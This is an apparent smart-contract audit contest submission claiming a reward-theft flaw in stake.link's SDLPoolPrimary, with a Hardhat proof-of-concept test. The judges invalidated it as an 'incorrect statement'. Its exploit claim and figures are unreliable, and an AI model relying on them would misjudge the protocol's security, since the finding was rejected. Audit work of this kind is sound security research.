stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: high
Invalid

SDLPoolPrimary::Step wise jump + Back running

Summary

There is a step wise jump vulnerability in onTokenTransfer().

Vulnerability Details

In this protocol keeper is responsible to distribute reward. It calls updateRewards() periodically under normal circumstances. A user can stake very low amount [ 0.0001 SDL ] for a certain amount of time without locking it and get huge amount of reward. For 0.0001 SDL he can get
1960.7843041138024 as reward. So an attacker can see a transaction where someone staked big amount of SDL token and just after that he can stake that minimum amount of token and get that reward.

Impact

An user does not need to lock their amount to get huge reward, he just need to wait until staked amount of pool increased to a good amount, then he just need to stake a little amount of SDL token and for that he can get huge reward.

POC

Run this test:

it('step wise jump', async () => { //@audit submitting
await sdlToken.transferAndCall(
sdlPool.address,
toEther(100),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await rewardToken.transferAndCall(sdlPool.address, toEther(1000), '0x')
console.log("reward for 1st stacker at first: ",fromEther(await rewardsPool.withdrawableRewards(accounts[0])))
await sdlToken.transferAndCall(
sdlPool.address,
toEther(100),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [1, 0])
)
await rewardToken.transferAndCall(sdlPool.address, toEther(1000), '0x')
await time.increase(1000 * DAY) //@audit 1000 days passed
await sdlToken.connect(signers[2]).transferAndCall(
sdlPool.address,
toEther(10000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await rewardToken.transferAndCall(sdlPool.address, toEther(1000), '0x')
await sdlToken.connect(signers[3]).transferAndCall(
sdlPool.address,
toEther(0.0001),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await rewardToken.transferAndCall(sdlPool.address, toEther(1000), '0x')
console.log("reward for attacker: ",fromEther(await rewardsPool.withdrawableRewards(accounts[2])))
console.log("reward for 1st stacker: ",fromEther(await rewardsPool.withdrawableRewards(accounts[0])))
assert.equal(fromEther(await rewardsPool.withdrawableRewards(accounts[2])), 1960.7843041138024)
assert.equal(fromEther(await rewardsPool.withdrawableRewards(accounts[0])), 2039.215686082276)
await expect(sdlPool.connect(signers[3]).withdraw(3, toEther(0.0001))).not.to.be.reverted
})

Here in this POC we can see the first user stacked 1000 days before the attacker, but still there is very minimum difference between the rewards of them. After stacking more than 1000 days the first user's reward is 2039.215686082276 where the reward of the attacker in a fraction of time is 1960.7843041138024. After that attacker simply unstake the amount.

Tools Used

Manual analysis.

Recommendations

Should add such condition where any user, whether he locked or not their staked amount, can't withdraw rewards for a limited time. Or reward should distributed based on their staked amount and time.

Updates

Lead Judging Commences

0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.